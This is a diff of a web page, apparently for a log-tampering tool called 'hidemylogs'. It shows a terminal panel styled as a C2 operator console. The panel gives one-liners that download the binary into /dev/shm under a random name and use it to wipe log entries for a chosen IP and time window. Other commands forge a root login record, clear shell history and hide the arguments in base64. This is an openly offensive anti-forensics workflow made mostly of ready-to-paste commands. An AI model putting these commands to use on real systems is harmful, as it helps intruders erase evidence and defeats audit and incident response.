|
238 | 238 | <div class="section-head">deploy - opsec one-liner</div> |
239 | 239 | <div class="term"> |
240 | 240 | <div class="term-bar"><span class="term-dot r"></span><span class="term-dot y"></span><span class="term-dot g"></span><span class="term-title">operator@c2 - deploy</span></div> |
241 | | - <div class="term-body"><span class="out"># Deploy to tmpfs with random name (prefix space = not in bash_history)</span> |
242 | | -<span class="prompt">$ </span><span class="cmd" id="oneliner"> f=$(head -c6 /dev/urandom|xxd -p);curl -sL https://github.com/franckferman/hidemylogs/releases/latest/download/hidemylogs-linux-x86_64-musl -o /dev/shm/$f;chmod +x /dev/shm/$f;echo "[+] Ready: /dev/shm/$f"</span> |
| 241 | + <div class="term-body"><span class="out"># === Option 1: Deploy binary, use interactively, cleanup when done ===</span> |
243 | 242 |
|
244 | | -<span class="out"># Use</span> |
245 | | -<span class="prompt">$ </span><span class="cmd">/dev/shm/$f print</span> |
246 | | -<span class="prompt">$ </span><span class="cmd">/dev/shm/$f wipe -a 185.220.101.34 --dry-run</span> |
247 | | -<span class="prompt">$ </span><span class="cmd">/dev/shm/$f wipe -a 185.220.101.34</span> |
| 243 | +<span class="out"># Deploy to tmpfs with random name</span> |
| 244 | +<span class="prompt">$ </span><span class="cmd" id="oneliner"> f=$(head -c6 /dev/urandom|xxd -p);curl -sL https://github.com/franckferman/hidemylogs/releases/latest/download/hidemylogs-linux-x86_64-musl -o /dev/shm/$f;chmod +x /dev/shm/$f;echo "[+] /dev/shm/$f"</span> |
| 245 | + |
| 246 | +<span class="out"># Operate</span> |
| 247 | +<span class="prompt">$ </span><span class="cmd">/dev/shm/$f -q print -s wl</span> |
| 248 | +<span class="prompt">$ </span><span class="cmd">/dev/shm/$f wipe -a 185.220.101.34 -t 03:00-04:00 --and --dry-run</span> |
| 249 | +<span class="prompt">$ </span><span class="cmd">/dev/shm/$f wipe -a 185.220.101.34 -t 03:00-04:00 --and</span> |
| 250 | +<span class="prompt">$ </span><span class="cmd">/dev/shm/$f forge --uid 0 -t "2026-03-15 09:30:00" --host 10.0.1.50</span> |
248 | 251 |
|
249 | 252 | <span class="out"># Cleanup</span> |
250 | 253 | <span class="prompt">$ </span><span class="cmd"> rm -f /dev/shm/$f;unset f;history -c</span> |
251 | 254 |
|
| 255 | + |
| 256 | +<span class="out"># === Option 2: One-shot encoded command (no readable args in history) ===</span> |
| 257 | + |
| 258 | +<span class="out"># Encode your command in base64 to hide args from shoulder surfing / history</span> |
| 259 | +<span class="prompt">$ </span><span class="cmd">echo 'wipe -a 185.220.101.34 -s uwb' | base64</span> |
| 260 | +<span class="out">d2lwZSAtYSAxODUuMjIwLjEwMS4zNCAtcyB1d2I=</span> |
| 261 | + |
| 262 | +<span class="out"># Execute: download, decode args, run, cleanup - single line</span> |
| 263 | +<span class="prompt">$ </span><span class="cmd"> f=$(head -c6 /dev/urandom|xxd -p);curl -sL https://github.com/franckferman/hidemylogs/releases/latest/download/hidemylogs-linux-x86_64-musl -o /dev/shm/$f;chmod +x /dev/shm/$f;/dev/shm/$f $(echo d2lwZSAtYSAxODUuMjIwLjEwMS4zNCAtcyB1d2I=|base64 -d);rm -f /dev/shm/$f;unset f;history -c</span> |
| 264 | + |
252 | 265 | <span class="out"># What this does:</span> |
253 | 266 | <span class="out"># 1. Generate random 12-char hex name</span> |
254 | 267 | <span class="out"># 2. Download musl binary to /dev/shm (tmpfs, not on disk)</span> |
|
0 commit comments